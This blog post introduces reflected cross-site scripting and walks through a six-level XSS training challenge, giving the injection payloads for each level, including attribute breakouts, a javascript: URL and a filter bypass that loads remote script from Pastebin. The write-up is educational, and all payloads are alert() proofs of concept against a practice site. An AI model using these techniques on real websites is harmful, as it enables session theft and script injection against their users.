Learning XSS: Part 1 — Reflected XSS (Brief Concept, Techniques, Challenge Walkthrough)

OneHackMan
Dec 18, 2019 · 8 min read

This is going to be a long series of posts on Cross Site Scripting. I have had some experience with it in the past but I would be lying if I said I've done more than 5 XSS challenges in my life, however at this moment I've far exceeded that and am putting what I have learnt to paper (or computer). I'm going to walk through the key concepts I've learned, some cool techniques I've picked up and will write a walk through of a 6 level XSS challenge I completed.

What is Reflected XSS

What is important to understand, at least for me, is to constantly remind myself that Reflected XSS specifically deals with HTTP requests and how the server responds to the malicious data you sent. If I send Javascript to a server and it immediately responds to my request with the Javascript somewhere in the HTML, then it is susceptible to XSS (there are many nuances to this, but this is the foundation). This doesn't seem confusing now but when I got to DOM (Document Object Model) XSS, which I will cover in a later post, this became very confusing to me because both seemed the same to me. THEY ARE NOT.

Below is a super basic example of an XSS that you will never find again on a real website:

```
http://notsospooky.site/search?term={some_value}
```

If instead of a normal value like `Who is stronger, Saitama Sensei or Naruto`, I input something like

```
http://notsospooky.site/search?term=<script>alert(1)</script>
```

and the server responds with

```
<p>You searched for: <script>alert(1)</script></p>
```

then that application is f*cked and it has an XSS.

> *That's it for what Reflected XSS is. I know it is not a lot, but there are plenty of sources that have super in-depth explanations. I'm just here to give more my perspective on everything. In a nutshell Reflected XSS is a vulnerability where you send malicious Javascript in an HTTP request and the server processes the unexpected input and returns it in a response. To use this type of XSS in an attack you have make the victim (sOcIaL eNgIneEr) click a link that contains the malicious code.*

Essentially, you would have to find some way to make them click `http://notsospooky.site/search?term=<script>alert(1)</script>` in order for this script to launch in their browser.

My (Manual) Process for Searching For XSS

There are ways to automate searching for XSS; there are even polyglot payloads that you could just stick different in different parameters and they might trigger an XSS if it exists; however, I am on a quest to be the One Punch Man of hacking and even though I want to get involved in bug bounty and make some serious bank I still want to know why a certain payload will work. My greatest fear is to be a damn script kiddie.

Here are my steps so far:

1. I test EVERY input. Every entry point in the application's HTTP request should be looked at. This includes parameters or other data within the URL query string and message body, and the URL file path. It is important to know what each variable in the request does and what it affects. 1337 hacking takes patience, the patience to understand how an application works and what parts affect other parts. When looking at an application, every input field is created equal. **Test it.**

2. Once I have identified all the potential points of entry for my future malicious payload, I then submit a random string in the request and look to see if it is reflected in the response.

3. If it is reflected in the response, I try to understand its context. After submitting a random alphanumeric string, I look for its exact location. Is it between HTML tags, within a tag attribute or event handlers (i.e.: `href` , `onload` , `onerror` , etc), is it surrounded by quotes, is it in script tags? Have a solid understanding of HTML and Javascript and that will help you with this step.

4. **Test some payloads.** What we have all been waiting for. The standard way to prove that a site is susceptible to XSS is to print the infamous `alert(1)` box. However, I have read that its best to have a better PoC that proves that if an attacker were to find an XSS they could actually do something with the vulnerability to f*ck over an application. For that, I go for `alert(document.cookie)` (waaaayyy more complicated, I know) which will display the users cookie to in an alert box. Eventually, I will set up a cloud server and my XSS PoCs will include sending the cookie to my server — doesn't do much good if you can only show the cookie to the user of which it belongs ;). Anyways, back to the payloads:

- I will contradict myself right now and say that I start every test with the simple `<script>alert(1)</script>` payload because it allows me to understand how the app processes special characters, script tags and Javscript methods. From there, I will then play around with the payloads to either avoid encoding, double encoding or blacklists or anything else the application uses to prevent Javascript from executing. However, I understand that this information isn't specific and that has also been my biggest issue with learning XSS. I think the best way to understand XSS is to do many challenges and struggle with those because then you will truly learn the techniques and nuances to the vulnerability.

The first of many challenges that I will complete can be seen below. Below is a write up on the 6 levels from https://xss-game.appspot.com/, a super cool website created by Google to help people learn more about XSS. Hopefully this write up will shed some light on different techniques that can be used to exploit XSS.

XSS Game AppSpot

Level 1

This one is too simple lol. It you look at the source code, it takes in the query and then returns it. It literally doesn't do anything. Sooooooo…. `<script>alert(1)</script>` will do the trick.

Level 2

This level also is extremely trivial. However, the above payload will not work. If we look at the page, we see that in the comment boxes one user has used HTML to stylize the comment and in the post below it, there seems to be an `img` tag that wasn't able to load the proper image, which explains the tiny gray square. Both of these hints indicate that the proper payload will be `<img src=x onerror=alert(1)>`. Another simple payload where `src` is for the link to the image and if there is an error `onerror` will be called. In this case, it will call `alert(1)`.

Level 3

Finally a level that requires you to actually understand basic Javascript. When looking at the source code, the lines that should stick out to you are:

```
var html = "Image " + parseInt(num) + "<br>";

html += "<img src='/static/level3/cloud" + num + ".jpg'/>";
```

Here we see that `num` is taken from the URL query string and based on its value, it will load a certain image. However, what's interesting is that we can break out of this `img` tag and create a new one. We would use `'` to close the current tag and then follow it with `<img src=x onerror=alert(1)>` so the final payload would be `'<img src=x onerror=alert(1)>`

Level 4

This level is another example of breaking out of the current HTML context. The line in the source code that is important is:

```
<img src="/static/loading.gif"onload="startTimer('{{ timer }}');"/>
```

startTime is Javascript method that takes in one argument, the number of seconds to count down from. However, in this `img` tag we see that just like in Level 3 it is possible to break out of the current context and call alert. To first break out of `onload` we would input `');` , effectively now creating:

```
<img src="/static/loading.gif "onload="startTimer('{{ ');}}');"/>
```

Now, we have the `startTimer` method taking in a string of `{{` as a parameter. Then we can easily put in `alert(1);` after the method call in order to call our Javascript and then after we will add `//` to comment out the rest of the code to prevent any errors. The final payload is `');alert(1);//` and would be found in the `img` tag as

```
<img src="/static/loading.gif "onload="startTimer('{{ ')alert(1);//}}');"/>
```

Level 5

This level is easier than expected. The hint is actually in the title, **Breaking Protocol.** It is possible to call Javascript by using the `javascript:` protocol. So when I saw the title of this challenge I thought that was what we had to do and fortunately my guess was right. Because this level had multiple pages, I first went through the site and monitored all the behavior before I made any attempt to insert a payload. When you get to the `Enter Email` page, you will notice the url:

`https://xss-game.appspot.com/level5/frame/signup?`**next=confirm** and your first thought should be what happens if you change the value of the `next` variable. Upon changing it to `test` I noticed that I was redirected back to the home page but with `test` reflected in the URL.

`https://xss-game.appspot.com/level5/frame/`**test**

So, I thought this variable was the entry point for our XSS payload and it was. Using the `javascript:` protocol, I simply used `javascript:alert(1)` and triggered the XSS.

The final payload was: `https://xss-game.appspot.com/level5/frame/signup?next=`**`javascript:alert(1)`**

Level 6

This was probably my most favorite level. The level explains that we must find a way to get the application to make a request for an external file and we are given the url string:

```
https://xss-game.appspot.com/level6/frame#/static/gadget.js
```

Everything after the hash will be what the site requests. So we will want to host a file that has `alert(1)` (since that is the goal for these challenges). Normally you would want something more exciting in an externally hosted file. For example, you could have a keylogger script that, when loaded, would record everything a user types in an application. Anyways I digress.

If you are too lazy to set up a server (me) or don't know how to, Pastebin (super duper hackerman site) allows you to host files. Knowing this, I created a paste with `alert(1)`. Then in the URL, I put that Pastebin url after the hash. However, I used the raw format because I want the application to retrieve the raw data (redundant but true) from the paste, which is the `alert(1)`. Also, when looking through the source code there is a regex that matches for `http/https`, so to circumvent this I just changed `h` to `H` (it could have been any letter). Final payload is:

```
https://xss-game.appspot.com/level6/frame#Https://pastebin.com/raw/GrTVzqBq
```

The site will make the request to this url, pull the data from it, and if there is Javascript it will execute it.

That's all for now. Thanks for reading! I am focusing a lot on XSS so there will be a lot more posts on different challenges that I complete and different techniques that I learn!

JavaScript Hacking Bug Bounty Xss Attack Coding